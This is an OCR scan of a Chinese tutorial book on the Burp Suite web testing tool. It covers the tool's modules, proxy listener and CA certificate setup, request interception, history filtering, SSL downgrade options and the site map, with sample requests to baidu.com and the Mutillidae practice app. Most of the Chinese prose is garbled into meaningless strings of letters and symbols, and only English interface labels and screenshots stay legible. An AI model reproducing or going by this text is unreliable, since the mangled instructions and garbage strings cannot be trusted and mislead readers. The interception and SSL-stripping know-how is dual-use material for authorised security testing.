EEEERMXM

ER: xlkrlk
WA : WI-  Madmaner
S DM . R . Rexiniu. 8. 5. Left

& S B BA
NMimiah @ K%
S 1TE th 1
%fgifsg LIRSV ‘ suascan P $CodeScan=1;

@1 AB
UBE;?_;.Q Watcher J
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BB R IR s 3
BT BUrp SUItE BFINMB (77 ) oo 3
F2T  BUrp SUIte EEAME () cocecerreeeeeesesses s ssessssssssssssssssssans 78
FE3T  BUrPSUItE M (=) e isssassssssssssssssssssssnees 121
FAT  BurpSuite fFEFNMEB (U ) oo ssseesssseeesssesssaesssenns 136
ES5T  WHITECHITIERART BUIPSUILE.....ooooeeee oo eeeeeeesssseseeeesssssssssessesssees 146

BETE ZETIJETT ettt sttt 150
F1H B DHRIZEZRERTINBRAAET .cccoossssssssssssssssssssssssssssssinnnns 150
F2T  HERIAEEM=EBETIRHIC reeeerevvvssssisssssssssseneeeeessssssssisnes 185

BBEE OUEABIRBN oottt 194
T A EREADIR B R T R ettt ssessesesssens 194
F2T I EREIEADIRBIR TR T ettt ssse e sssens 199

BEPUZE  TBIABIR oooeerreenrresmrresesnsesisssesessesssssesisss s s ssss s siss s siss e 214
%17  Ruby on Rails shi&EFTZIEHITRE (CVE-2016-0752).............. 214
5827 A Python FHAELE Jinja2 EARFHUTERIID . cccoooeeeeesesesssssssssssssssssssinnnnns 221
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F—E RERRSS

%175 Burp Suite EERANE (—)

==V N

kB8 MR

patit : http://www.knowsafe.com/

Getting Started

Burp Suite 2RTIE web NEEFHNENRFE. BEEETIHEIR  AAXETHRR
HTiFEED , LUEHINREN REFRITRE. I ESEE— P et EH TR
HTTP JER , #FFAM ANE , (i, BE , ERAT— 2RI RAYEZR. AXEENE
ERILATER

1.Target(B#x

2.Proxy (V) —=8k HTTP/S RYCIEARSS =% (R A—MENSSRE N Bin A FRfE R ZERY

REIA , RIFHFEE  BE | EXERN SR ERRRETER.

RERMAIRIZEIER |, ERESTEAINE N RIEFRIAEHITIRE
4.Scanner(i3#EzR)—=RTEH , T , ©EEENAI web NAEREFHNZEIFE.

5.Intruder(A&)

NMEBNSETESENTER | X web NARERFHITENMLING |
N - BESHRRRT , WEEBFRYEUE | LIRMER fuzzing SANIRIENRIR.
6.Repeater(FRéEzR)——— MEFIHRIERUARIRAT HTTP 53K , Ao BERIEAL
NTE,

7.Sequencer(&iE)—— RO TTABL A FRIRIN FRIE A1 S hEAIE AR TR IREL

MRTE,
$ 30 /& 250 T NS B2 e Yol 5 21580, VIZIH ARSI
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8.Decoder(f#828)—— T FINHUTERI N FIEFEUES B R RSHI T,

9.Comparer(tb)—EE 2EIE —EAXANERMIENSZIRIETE— LR

10.Extender({"F8)——a LALL{RINE: Burp Suite 95 & , (EF{RE CHISE =5k
1 R& Burp Suit B9Zh8E.
11.0ptions(i&&)—3J Burp Suite J—LIKE

WK TAEARAZ - Burp #5589 Web NAREFRIIRAYES). ERLUHRERME ST
MR | ST LSE2IEHFBRY BurpSuite HUiTHY T , FHEMBXEAMHAY

N BRI S BRI DT, LR I —#2EE Burp Suite AUUIKARIEIAZIE, 20 1-1-1 :

—_————— e e —

Recon and Analysis

|
|
|
Wah |
browsar i
|
l |
Burp |
e o
Burp Proxy Active Spidar |
spidering | il

| play

’ |
Fassive

spidering I
) Content |

Prowy history discavary I Target

| SO
|
|
-~ Bunp :
Aniahyze i | Authantication

|

attack surface

Vulnerability Dafbe-cﬁon_i

\ ) and Exploitation |
scanning

Confirm some

Wulnerabilities

in brawser

Sassion
handling

Save ! resiora

|
|
I
|
|

| state
Bump Burp Burp Burp |
Scannar Repaatar Intrudar Sequencer |
I

: Task

| schaduling
|
|
I
Wulnerabiiities :
— |
|
.- N
B’ 1-1-1

FHAT/ B 250 T AHHE B g M 2 AR, VIZ0A T ARE &
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RESR

RETEALARE Burp Suite HFAZRI— O | EFLAHRIET NS aERN SN e
FRRBRRTEEXER ALt Rt —2517a0 , T MRBASIR | (RS
PTEREFELATESS -

F RIS N IR -F AN 28@id BurpSuite (RIBTAE FRIBReS R FIfEFFBIT LA THEE |
RRRE  FEIZSEANIENE. X MNIEFRFREE L Bira it E SRas
KERE | BISHEIPRS A INZIuARIRE | BT LA R R N SR e A — 2RI
BESHHE REF)., EIUBEKHIREBERNLR(EERERLIREER) |, 7
(ERNIEERERIX L,

TEVEENTERMET- SR LUER BurpSuite BRI REFPHIISHISIE. AILARTER

BRI T , BERTEub Rt EIREIEKRAUER, IBSUEERXNTEZA  ISERTARIMHER
TEITiIRE.,

ERRETEHINEEARI , ATLALENS e E o] AR S HE LIt — S AR F.

{&£F3 BurpSuite Intruder( NEZ)BEIHREXHBRYIFRFITEEXAIEI , 7838 , FHf
A,

TR T HI B EZRT , FTRER R ESEHRY BurpSuite RIECERYSNSTH |, #40
BirAEEMSIEIE,

DTN FRREFRIEE - BREFN FARE AT RN IR S 20 SEAN B i it Bl 5
FERY BurpSuite EfMGREXNREFINER. XFNEFEERITIREREEESHTEN)
FrEEER  FHEEIEERINAEFATT.

LA | SERTLABER BurpSuite BB RO TR S VIR G ERIIEEA A EISEAI N AR

FARY URL

507 / & 250 T NS B2 Yol 5 21580, VIZIH RS
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B TREENAT BurpSuite RISZANINEEIE. 551148 Proxy I8E | H79 Proxy #EEEI—M0
AEIHEE . FrERIN EERET Proxy RUCEEINRE,

Burp Suite THREf HEEIEXIAR

Shnt=
Burp BurpSuite save state wizard RERESES
restore state RERE Remember setting IeFRE
restore defaults REERIA Intruder INEE
FHAWE(E | Actively scan defined
Start attack EN EaHEEAR
) insertion points

Repeater HRYkES New tab behavior WREERIT
Automatic payload | Baifagkfii | config predefined ELEFIE X BEBE
positions =1 payload lists =]
Update EFAEK

unpack gzip/deflate f#IE gzip/HFE
content-length E

process cookies in HEEERITREFHY
Follow redirections | IRBEEER

redirections cookies
View WE Action 73
TheeIn
Target Bt Proxy pei
Spider LIS Scanner bt
Intruder INEE Repeater Fhgkas
Sequencer EFeE Decoder fEfEEs

FH6 U/ B 250 T AHHE B 4 M 2 AR, VIZ0A T ARE &
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Comparer Erikas Extender TR
Options RE Detach »E
Filter JiEEs SiteMap ot b E]
Scope SBE Filter by request type | @iSiEKIE
Intercept =E response Modification | NaRA{EX
match and replace | ILECFIEHE | ssl pass through SSLi@is
Miscellaneous ZAIR spider status LI YN
crawler settings EwUIRE | passive spidering LIS
form submission KRR application login N FfERRER
spider engine kS |22 scan queue RS
live scanning D734 live active scanning DmEaTHE
live passive Iman

attack insertion points | IZTENA
scanning 14
active scanning FEENIEL

active scanning areas | EaHAEXI
optimization e
passive scanning | #aHIHX

Payload BT
areas b

B | select live capture
payload processing I ERIER
i) request

token location PN N <> &

live capture options SCA RN
within response BB
Manual load FohnE; Analyze now WEDHT

$7 5/ & 250 1T

S B 2 e Ml 2 21380, VIZIA TARE & .
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Platform
SEATAIE Upstream proxy servers | LiIEIRSS 28
authentication

Grep Extrack HREY

Proxy Ifi&é
Burp Proxy #824F BurpSuite BU/OE |, IBI33=E, , EEFHENATARNE RGNS
255 84r Web fRSSes28MEE. THE 7 #FEX BurpProxy , 21E 1-1-2 :

.Target Proxy | Spider | Scanner | Infruder | Repester | Sequencer | Decoder | Comparer | Extender | Options | Aleris

Intercept | History | Options
Forward Drop Intercept is on Action Comment this item H w
Raw Headers Hex
K112

Using BurpProxy http, https

http

RERIENE : LA http ie A1 :

T B> >Internet JEIN> > &> > Fig® > > GiEAIERSSES I 127.0.0.1 i 8080
XEiHOTLABEEREEBERER burp MHEITHOBZ—HREHRFEE Proxy AJ Options

il add , SNE 1-1-3~E 1-1-4 :

J Binding T Reguest handling T Certificate ]

| These settings control how Burp binds the proxy listener.

Bind to port: 8080

Bind to address: (&) Loopback only

(U Allinterfaces

© Specific address: | 127.0.0.1 ﬂ

B 1-1-3

H8 W / & 250 T AUAE Bz as Mob S SRS, VIZ0A T ARE &
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-

Internet i& SEM(LAN)IZE Burp Intruder Repeater Window Help

= == B Comparer | Extender | Optons | Alerts | autod

. = oamEs -
Target T Proxy I Spider
. % i SIEESBEFIRE. ERGEERFIRE  BEAET

[ Intercept T History I Options. ]

[] Saneangsm) =) iste
U Proxy Listeners
=] S| -
[ &FHEEERAES) L_J Burp Proxy uses listeners to receive incoming HTTP requests f
HEHE(R)

Add | Rinning | interface | Invisible
@  127.0.0.1:8080 a
KERESS Edit \__/

SER=EIREA

o

g
2

55 BEERE

£: |127.001 lgom: | ||
[ e T A EEAERERSEE)
Each installation of Burp generates its own CA certificate that |
another installation of Burp.
e | CA certificate ...
\. 2 2] Intercept Client Requests
55, NTHOSRE, 8= | BRMAEQ | @ P '

[T&l Use these settinas to control which reauests are stalled for vie

K 1-1-4

Xt http HXAVERITHATLA Y, = intercept is on RFAEI=#I06E . RZ

J inigicepl T History T Options ]

',Il Request to http://www .baidu.com:80 [119.75.217.56]

[ Forward J [ Drop J [ Intercept is on ] [ Action J

I s

GET / HTTP/1.1

Accept: text/html, application/x<html+xml, */*

Accept-Language: zh-Hans-CN,zh-Hans;q=0.5

User-Agent: Mozilla/5.0 (NVindows NT 6.3; WOW64; Trident/7.0; I
Accept-Encoding: gzip, deflate

Host: www.baidu.com|

DNT: 1

Proxy-Connection: Keep-Alive

Cookie: BAIDUID=BB269AD3D6ASES975110813D24B9ES01:FG=

B 1-1-5

WE 1-1-5 , IXEERAFRIZERTD , FATaTLAGE send to Repeater EEREUREAX |
WAL ERTHERIERA R, (change request method)LbaN get &(& post ZIhaE
https

1AEERBRIZTT ie NiEs

FOW /& 250 T AHE B as Mo S SRS, VIZ0A T ARE &
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2.1& http BRHFECEIFE

3. 7Eib=IA1E) https ek | BATE4kEE

5.REEEILER
6. MBI FRIEIT M PortSwigger CA AEBREERIED
7 EEHENRERETEIES

B BEANESH , I "BErERNEBBA FIIFEEX"

12ERF ie (FFEUBERNRET) HENSSEEASRNEEEEN
http://portswigger.net/burp/Help/proxy_options_installingCAcert.html

Intercept

BT EAUER HTTP IERAMMAL , B (RATNEEEEF] Web BRSS25< (8], 1£ BurpProxy
BT | SR AR EF =N EE R AT A =#L (5120 , SEERRIIE , 5
BEXHY RS , MBEXRS2H, F). ZERESSLITES

Forward

SIREEEZE  KEEREIIRSHRENER

Drop

HIFABERZXREE T LIRS drop FEXMEER

Interception is on/off

XMREH AKX TR E =S, NRIRFAETR Interception is On , FRiERFINEAIE

FH 1070 / & 250 U AUEHE B 2z Mk = 21580, VIZDA ARG %
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HI=EE B KRR ER=EMNECERIBAI. MNRZHE Interception is off
NER =B FRIFEEEREIEA.

Action

B — SR ERR] FRRYE F T/ IRERT AR R FInRE.

Comment field

JEREIRNGRINERE | LAEEE S History EI-RHIRBIES .

K 1-16

Highlight
AEREEIDRLRINERE , AILAE history EIR-=FIEGRHERZ A , W1E 1-1-7 ¢

LEJ

K 1-1-7

History

RERBAAEMERMBLL, BEEREALICREFERMMAL, ST LA EFRERX A
SEREHEEY , AMERANERERUNRE. History((CIERR)SIEEHT , BIER
i& Interception turned of (=&KX , FLTFXISEAFBTHIRIRTIA M N AR ERIX AT,
History Table

FPEREEIRE HTTP iBRRFEER A EIUEEERETSEYETESFIESER
FHSERIEKRFIEAL, RPBEILUTFR

# (IBRES1S). Host(FEAN). Method(iBEXK7530). URL(IEKtAL)., Params(5%%). Edited (47
18). Status(IRZ). Length(WArF51K/E). MIME type(lihzfy MLME &8Y), Extension(ith
ST FER). Title(TAEIARR) . Comment(iEFE). SSL. IP(B#x IP 1thiik). Cookies, Time(&

HiEKATE). Listener port(M4ifimO) , fNE 1-1-8 :

FH11 0/ & 250 70 AEHE R 22 e Wb 2 21580, DIZ0H ARG i
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£ | Host ‘Memnd ‘URL |Params ‘Edited ‘&atus ‘Lengm |mMEtype |Ex1ensm ‘rme ‘Cﬂm‘l A‘SSL ‘\P |Cnnmes ‘T\me ‘Lﬁtenerpnrl ‘
2% hitp/ffinance. services appex bi.. GET Market svc.. @ g 0 26125043 00:122420... 8080
2238 hitp:lizh-cn.appex-rimsncom  GET legtiedvtizh @ g L ml 0 1112315 00:122420.. 8080
2240 hitp:lizh-cn.appex-rimsncom  GET legtiedvtizh @ g L ml 0 1112315 00:122420.. 8080
04 hitplizhcn.appex-rimsncom  GET legtiehvilzh o g XL bul 0 m1n1% 00:12:2420.. 8080
20 [Mphoelieamexomoeon | GET  Jmibeex. @ O Wl 0 Be24 022420, 8080
2043 hitp/iweather tle. appex bing.com  GET Mesther3e.. [ g 0 26125032 00:122520.. 8080
2244 hitp/Idiskapibaidu.com GET Irestf2.0inet. @ g [0 1978521938 00:143520 .. 8080
2245 hitpiidiskapibaidu.com GET Iresti2.Dingt. @ a 0 11975.219% 00:15:0320... 8080
246 hitp/ldiskapibaidu.com GET  rest2.0net @ a [ 1782193 00:15:3220 .. 8080
247 htpidiskapibaidu.com GET  resti2.0int 8] 0 0 19752193 00:16:0020... 8080
2248 hitp:/fupdate.pan baidu.com POST  Jatatistics?c. @ 8] 0 12312511525 00:16:5220... 8080
2178 hitp:/ide.wikipedia.org ¢ IwikiWikipe... g ] 55854 Wikipedia 4. caonima 0 20880154224 GeolP=CN:Bejjng3.. 23:504819

K 1-1-8

R B A RS T Fra bR A HEY . SNSRI ERP IR — I B ibiE |

PaN
=

ERE—MFHRGERFIMAREO. SERAEERE Show new history window , #1E]

1-1-9:

4 x

[ Previous ] [ Next ] [ Action

J

Request | Responze

(] o | eoders | e |

GET /styles/glohal-styles.css HTTR/L. 1

Lecept: text/ocss, Y

Eeferer:
http://www.mutillidas. com/ index.php ?page=user-info.phpéusername=%22 tpassword=Luser-
info-php-submit-button=View+hccount+letails

Aecept-Language: zh-CH

User-Agent: Mozilla/5.0 (Windows NT £.3; WOWE4; Trident/7.0; MALNJS; rv:l1l.0) like
Geckao

Aocept-Encoding: gzip, deflate

Proxy-Connection: Eeep-Alive

DNT: 1

Host: www.mutillidae.com

Cookie: PHPSESSID=4fuSuttfgigi085£9v5infddvnd; showhints=0

e

EEE B —

«¥

B 119

Display Filter

Proxy histroy B— A LAFBRIEEFIEFELATIIINE | LMERES TR

BRTERNEHNENTIE, History Table LSRN A=A T HRINE NI IERs. T

ISR I RIS AT IRRRIAI. ZS RS AR T U T EIEATEE , 21 1-1-10

H1200 / B 250 0 WNAHMEE e M550, YIZIA FAREE .

A/

,I
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| Fitter: Hiding CSS, image and general binary content

EJ Filter by request type Filter by MIME type Fitter by status code
@ [ Show only in-scope items [ HTML [ Other text [ Zxx [success]
[[] Hide items without responses [ Script [] Images [ 3¢ [redirection]
[ Show only parameterized reguests & XML [ Flash [ 4xcx [request error]
[ css [C] Other binary [#f Sxx [server error]
Fitter by search term Fitter by file extension Fitter by annotation Filter by listener
(] Show only: | asp,aspx.jsp.php [ Show only commented items —_—
— Port
[] Regex = A ,
— R [] Show only highlighted itemz
[[] Case =ensitive [_] Negative search =) B s, gifjpg.png,css
Show all Hide all

1-1-10

Request type

Show only in-scope items--Zi%EN B~ EEENAINE |, RZ.

MIME type

ERILASER B B S SMARER MIME 228!, 40 HTML , CSS sE{&AIMAL,
Status code

ERILIRERBE TSRS HTTP RSB0 AL,

Search term

RIS BN R B AE SIS ERE R, SR LIS EERARERE— N NFZRFEHE
MZFRIXLY, , UREEXSANEG, WNREEET "Negative search (GHIRIER)" &I, A
[EA AR R E— A B S E .

File extension

ERILIR E R AR R s eI R R,

Annotation

ERILIRER B B ERRFRHEATIEENS R,

Listener

(RATLAR B e mrin O ERIRRIIE . MiNhEEsTsEam. nRRE— T

FHA3T /& 250 U AUEHE B 22 e Mk = 21580, VIZ0A ARG %
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sy , IR | XEERAEMR , RERERENR  RFEHRERXANTIRRRG
BRI, XERE SR LERIEe RSB ISR St 7 AEREEAH B RIEF SR
RIS ED.

Annotations

ERILAET RN ERA TR /ARG RICRI. XAJRERERREARRZERIBR 7
tRETH—EEE.

FMATURIRMR

ERERAOBRIFRY PR TR BRPRH BB A,

) ARHERER ETFIERETH "RR" MERN— 1SS MEERIRE.
PRI A ERE -

DNEABRFE | TSI |, NINEdREHHTETL.

2)RFIFEER L FIGRESR "RINERE MERN— S MNEErmE.

BRTLAERHM , BB LGERINE |, BMHIEERGRIS | XEEEEHEMER FiSR
xR, SCELTPEEEK  BRLMERSIHIFI R IERs AR E X LINE
Options

RERIERIT, BRMMLL , =g , PCECHEHR | ssl .

Proxy Listeners

REITRR R MITAEEIN SEHME NRIEZ A HTTP IRIRSS =5, EarH SN =8dr
BRYERFIEAL , FENRTF BurpProxy RITAERAVOME. BOABRT , Burp BUAMIT
12.0.0.1 3AE ,im M 8080, EEMAIXMEITER (RFEELCEIRATN SRR 127.0.0.1:8080
TERRIRARSS 2R, RO RIT R RO TR VFRraiIE T XSERAIETE Web NARER: |

WE1-1-11:

FH 1470/ & 250 T AUEHE R 22 e Wb 2 21580, VIZ0H ARG &
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E Add a new proxy listener

J Binding I Reguest handling I Certificate ]

| These settings control how Burp binds the proxy listener.

Bind to port:

Bind to address: (=) Loopback onhy
i) Allinterfaces

(O Specific address: | 127.0.0.1 v
1-1-11

1) Binding

XL EEH Burp BARIBRITRSIERAbMNEED

Bind to port---IX R HFTFHITE NIEZRAIAZ O _ERSRO . (RSFEERER—NKEH

HERE N REFNRERN,

Bind to address---iX&2 Burp 4BEZIAMZORY IP i,

ERILASBERIMINY 127.0.0.1 #OsETEREEN |, BUHAREERIZANHE IP ek,

IR R GITERSERIFT AR OEHFERAE loopback #0 , BBAEAMEITHENAIRERIRE
EEhizras. XAJREEftIARHuGER | NERY IP bR | FLABEMCIRIRSS 230

SERIRE  HolseE S8R | IBRER. (RZzRBRLSRATFT—H2EEIM

&L,

BurpSuite 1HEBIEEZMUIRIRSS2RAVINITRS  FHEA 7 FEANEH B CRITHRIECEIRIN,
(RATREBRBZEH TR ASERNA HE—LIFE TSGR HTTP ZRimHTEE |,
) P £EIZ I,

2)Request Handling

XL B A IRIEIRIEHIZR BurpSuite EEMEL L ITESRIKEIRNEK

Redirect to host - YISRECE 7iX/ME , Burp REBXIERERZNSENEN , AL

FH A5 / & 250 T AEHE R 22 e Wb 2 21580, VIZ0H ARG &
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ZIRTNSEERFTMERNER. FEIEIR  NRIREERZER , NeseREEc &I/
BIRANESHENLPRIEK , IRRSHET  BEEOBERE , ARTFHENEERIE
—ANEMEL.

Redirect to port - SNEREE TiX/MEIR , Burp SESXBRELZNSENIHRD , AL
SRR SERREMAERA BT,

Force use of SSL - ANREE 7IXMER , Burp £ HTTPS ERrEMR/MIER: | BIfE
ENRGIERPEREER HTTP, EJLAERILIEIN , 5 SSL EXARMESIAIES |
FRE sslstrip ARAYIRTEAER Burp , H , 3&&I4T HTTPS AR FRERF T LARE R S 1EAY
HTTP O ERFRIREEAAAK IR BurpProxy I,

IR B EEOEIEST LA, Bt , 4180 , LS IEREEER—MEE
IEN , BEHREFEENR AFIYES N RIGERPEER. BSAZ BurpProxy RUSZHF T
IR RIS i B R T

3)Certificate

XEG B S IAE FiHHY SSL RS EEH SSLIEP., (ERXLEIEIRAT LARR R —Le (s =
B CEERT RS SSL [aIRR

{RETLGERMERONBEEAT SSL 24K , FHEEg#sT SSL ISk,

RTINSk B EARIEAT SSLARIFRIINE | SRILIFRRIX LY AT iSISSEEINE , MARE
FFEZEA 5| AEAER SSLIETR.

BRI SHREEERIIRSS RS | AIREKEITCHAY SSL IR E Fin M FIFE R TIE,
THNIEITAT A -

Use a self-signed certificate---||-—MEERPIBEER SSLIUFPIRGERINIGESS , BE2

SHSSLESE

F16 01 / & 250 1t AUAHE B e M S 5Si, VIZIH TR &
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Generate CA-signed per-host certificate---||-IX2EIAIEIN. L35 , BurpSuite gli&
TSN ESBAGEBMATIN (CA ) IER , FEITENEFER , 8K BurpSuite
Z1T. HRAUNLSERAH SSLIEERIHEERENL , Burp FAEZEN , B CAIEREERT
SSLIES, &AJLAZ%% BurpSuite B CA IEBIEAERSRRFZEEIR  NTIESDHEN
FRERHIER | iIRBEAER. BETLUSHEMT S Burp RIEMESLAIEER CAIES.
Generate a CA-signed certificate with a specific hostname- - -|[iIX3&{LIFBIERIEELT;
PAM , Burp SFFE—PMERE—RIENUEB 5SS SSLEZER | ERSEENENSE. &
HATFRICIERT |, OB EOEN , RAZFim B RSERBK , EIb Burp 788
e SSL X FRRRIENE. (RBATLAZER BurpSuite BY CA IEREAR(SIEAIR.

Use a custom certificate---||- L EEIEE T LUINE— MSEANEF (£ PKCS#12 13 )
EMEIRATNILERT. WRNFREFEREHEEIFERIRS LD ( AlIN—MaEFYISEIE
Bt ) AIBFIRAIZERX R,

4)Exporting and Importing the CA Certificate

ERILIS HERESER CA IERARM T As) BurpSuite FIELBIER NMER ABEAILUES
NIEF Burp fEHRISEAIER. ESRILIEERESHIGERR ( BTFSAZIERINEEEEHE
figEAEE ) BE RIS HARERREFAR.

TR EANZEERNFMBIE RS IR EN—T7. HERSEBIZRIEEREET
BERTLA , BDfE{RAMER Burp F=2LiNIEGERR HTTPS ifRE.

AT LUMEE http://burp/cert fEXIESRRHSHIER. B HTTPS iI5XKERYNIEES
HEAHES |, BE—LRRE LR, REBI— URL K THEEEHERY,
Interception Options

IRE ISR NS R T EE IS A0k R, BIRRNR BN AZIERM

FAT T/ & 250 T AEHE R 22 e Wb 2 21580, VIZ0H ARG I
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MRz,

£ "Intercept” EXERERTENEI=E. WWREHIEF , A Burp MEEEATMN

MENER |, LIHECEENIZHI=E,

NIRRT LA ESE RS MR DN SIRE, MNSTLAMRIN , R , Mk , 5k
FRiRtHER R, MUATLAERER , BEEE , Pk, i), HTTP 7335, URL, X
R , 240, cookie , L/EHRE , WEAE , MIME SRR, HTML TUEREANS
B VFHHA R TE E iR O . SR LB ENNE R =S BRI R B EE W
8. FTLAERRIENIZRIATIXSE N EZAIICEC R,

MNZIREALE FEERMRIZER AND #1 OR HE, IXLLERSAMERESAT "NARIG"

#ZtE , RS 8 FRSEE | AR ( FREMNZBIRRRER ) #/80 ( SRifiaY
R ) EERHINES MR TR | ARZEIHIN N AENERBE RREE R
FEHEEANER. "BEFTASKE" SINERH  XEHAFESES Burp Bz
BEINHEAY Content-Length 3k, ERAXMETEEZOAADH , 2 HTTP EAEHIE

8

INREFR | ATLITEBERERI ENMEE XK SRIFT. NRREFKAESIHE NE
—ANZ{T , Burp SiFN0tt. IIR5EE URL RIESHNSANRIEE KRS ST TRE
BFRIRR . Burp SIEMPRIXLE. XMNEAILARERRVAIE | MFaMmEE=EIER
3K, LUBR R HTCROE R MRS 28R HAYEIR,

Response Modification

REATHITEMNERANER, EEILAERXLIRINEE BaES N AREFIRA HTML

KITAETMESS. THIRTEEUEMIR = P iniz I se 28 Y

BREEAORBETR. (B—FEml , UREEEABEREEERS L TR, )

FH 18T / & 250 T AHHE R 22 e Wb 72 21580, VIZ0H ARG &
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[ER IR

TSI N FERAS PRI

FRIBRAY JavaScript FEAITF

TR AT REEEREEER TR ER XEAHEFIRRITRARIEA NoScript
AR TR ) B

IMBREFEHRY JavaScript,

B < object>#rig.

TR AR ZEBFIREERA R HHIE BurpSuite {LE sslstrip AZAIIX

. EILESITEETEEH SSLAMEHIERK , LIARUEMABFRIEZRE SSL —2fERA

ERYE HTTPS 9 HTTP pUSEEz.

TR cookie ZEHRE.

Match and Replace

AT BshERERImMAETIEERD. X FE— HTTP iBR , BiSFRIECF IR
WHORIAAT | ARAH T ERERGmEIR. MUATLAS BIHE BRI , X} FEE3k
MBI , AERERIARIBRE—T. 8MRNTLSE N NFF R REIENRIATE
L FI—MFREREERE, Tk  ANRICECHEM BN LA IBHAF R ERIL AR |
RIESAEMER. MNEREE— M TSHRERAT | ARBIRF RN A—N k. 8
BN E ESHIZMREMN - XLERIANEA, TESTXE, EaLAERRE
AYIENZRIAT I A ICECHR 4 IEX RIS TIX .

EERFRER | ALMEREDRAZERSI$51M. A THNBIRF RS0 SHTERAE LR

IENERIATL | iZFRCAIBFR , 0B 1-1-12

FH19T /& 250 T AEHE R 22 e Wb 21580, VIZ0H ARG &
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v
0 matches.

1-1-12

SSL Pass Through

FATiExEBtr Web BR5588/9H Burp R EESEIT SSLiERE, KT BEIXEIEEAERED
R TE TSR = EMERH .

B SSLIEREERLIEXIER NRAEEZ AR 7 = inll SSLIEIREIFESGR - A,
AT SSLUEBETFLAIBEIN FRER. WNRNARERFDRZS MK , BefER HTTP #1 HTTPS

ERATRE ARET SSL IEREISE R ETULPAR LAULSLAER 5 =UER Burp Hitt

4

RiBTAE,

INRIERZIETER BRI Fin SSLERAIINE |, 7Af5 BurpSuite RTEEFinKH
B9 SSL tmSA& (5170 , BRFAEIA BurpSuite B9 CAER ), HFEBiSHEXAIIRS SR
ANEY SSLEiEFIR,

Miscellaneous

=6 Burp REBRIT AR —LBRAT, THERAIA !

Use HTTP/1.0 in requests to server - iZi%li#EH BurpSuite (CIRE AR BHIEIERBIRIR
S5ERHY HTTP 1.0 bR, ENANIREREREEIN HTTP hRASFTEFRRYNIEGES. SAT , —iEeR
ARSSERER N R Rl RE R 2 1.0 iRA A BEIER TAE,

Use HTTP/1.0 in responses to client - BREIFFERINIEESEESHHX A N4 1.0 FQ HTTP
1.1 o N 1.0 lRAFHRERF T —EIhRE | 1866 1.0 RAERSRER |, LUSHINEE
BRAYTARIRANTTE , BIAIRGLEEEHT HTTP fvkE,

Set response header “Connection:close” - X/ANEIEATAEREA AR , LAFSLE HTTP

TKEAEF LB T,

20 00 / & 250 U AUEHE R e Wb 2IAS0, DIZ0H ARG I



o2z HHRM 240k | H5753

Unpack gzip / deflate in requests - RN ERER( BEEIFLFEREENEZFimEBH )
FEHEEBRERIR. 1ZiELuzH BurpProxy RE B EEEREBRER. HEE  Fi
Nz FFE R AT REARARAA | ANSRAI JHALEAY/E 48R E48 2181 Burp #AIER.

Unpack gzip / deflate in responses - KZENESEEZH gzip FHN ZAEEENARS.,
iy BurpSuite KIEEZ2EEMMEEREREINIG, HES , S ERHLRS
el EEIIpRIEK ( FTEE(FEA BurpProxy BIPLECAIE#ETNEE ) BY Accept-Encoding 3k/&
4ERINENZ, Disable web interface at http://burp - WNSRIRAEARE B/ RAIIITANIEZ TR
PRYEEO EROERE | FAEM L AREREE) Burp XIESESEM | SR EE A,
Suppress Burp error messages - HFLEEIRAT , BUAER T BurpSuite IREIGEMAYE
IRMERENLEEE. WRFEERSEN TET Burp , BITAEXAEMNFEAKENZE
ERHF | BAECHREEE RRIIHIXMERERREE 15X, B Burp 285,
Disable logging to history and site map - tIEIRAETLARGLE Burp MERIHEERENLEE
IRSSREAIPDSE R BiRt rUtE, ANREEERAYZ Burp KB TF—ASERE | i1SHIGIE
2l EirpiRSSaRa i TILECAE RIR(F AEERRERNTFHFETERAFEILEIEES
FARY,

Enable interception at startup- LEIRANL SR ERETE Burp RSB IEESRRIZB .
ERILUSHEIRR B =, 1R EEREE , BiEM Burp DRXIAREIRE,

Target I&E

BixIREES7T SiteMap , FBRRIBFNAREFINFRES. BRI LILIRE N IRLRISRE
SEE EAARERINIME , BRILUHAF iR R,

Using Burp Target

et www.baidu.com , @0& 1-1-13 :

§521 01 / & 250 1t AUAHE B e M S S8, VIZIH TR &
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Burp Intruder Repeater Window Help

[ Comparer T Extender T Options T_
Target Proxy T Sp

| Filter: Hiding not found items; hiding CSS, image an

» http://wuxian.baidu.com
» http://www 2144 cn
» £ hitps://www.amazon.cn
ttp://www.baidu.com >
(Rl
» & adrc.php
» [ aladdin
» &2 baidu.php
» [ cache
» [0 duty
» [ forbiddenip
» [ gaoji
» [ homepage
» [ img
» [0 s
> @ fink
» [ more
» [ nocache
» [ pub
[ robots.txt
> s
» [ search
» [ shifen
» &3 tools
[S] ups

1-1-13

XREEFEE site map EAREREL , WaJLAAE add to scope , #Aigras Filter 4)i% Show

only in-scope items , IAHREB[EIELE Site map IRBEE—MBILY | X2 filter BTLA

Tig—E244 , show all B7~EHE , hide [3iEFTE IR AIE T RTFAT

I8 NE 1-1-14

Fitter: Hiding not found items; hiding CSS, image and general binary content; hiding 4xx responses; hiding empty folders; hiding specific extensions

Fiter by MIME type

Folders

(> Filter by request type
G‘ [ Show only in-scope items

(] Show only requested items

(] Show only parameterised requests

() Hide not-found items

Filter by search term

Filter by status code

) HTML [ Other text [ 2xx [success] [ Hide empty folders
[ Script (] Images & 3xx [redirection]

& XML [ Flash () 4xx [request error]

[0 css () Other binary ) Sxx [server error]

Filter by file extension

Filter by annotation

() Regex
(] Case sensitive [_] Negative search

[mj | Hidean |

$220W /& 250 |

[J show only: |asp,aspxjsp,php (] Show only commented items
@ Hide: 8.9if jpg,png, css,xmi htrr (] Show only highlighted items
1-1-14

IALE B Dotk 2

B2 Vi

DIZIA T ARE I
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XA T B R ER I LA — L FRFET06E. B 1-1-15 S AEERERT

LA —Lm FiFEINRE. B 1-1-16

hitp:/fw —
D ;| hitp:ifwewew baidu.com/

» {5 a| Remove from scope
v [T § Sspider this host
E Actively scan this host
> [ Passively scan this host
L Erre—= Testing
YT 9 Biazer - AMF2XML Export
E Blazer - Enable/Disable Security Manager

> [

Extension: Multi Scanner
» [

> m Send request(s) to Authz
» BB < Send URL to Crawljax
» B3 1 BurpJDSer-ng: Reload JARs
> Bl a send to sgimap
» [ H Engagementtools

» [ il Compare site maps
» [0 ¥ Expand branch
> Expand requested items

» 3 1 Collapse branch
> 03 1 Delete host
> @ o Copy URLs in this host
L) oy b i e ok
: r@_ 5 Save selected items
» = J Site map help
1-1-15
= am !
D [T nhttp:/iww w baidu.com/aladdin
> i Remove from scope
» 133 baif Spider this branch
v ca Actively scan this branch
D Passively scan this branch
> Blazer - AMF Testing
> & Blazer - AMF2XML Export
2 Ih Blazer - Enable/Disable Security Manager
» [T du ; :
> Bl fof Extension: Multi Scanner
- I.h. 5 Send request(s) to Authz
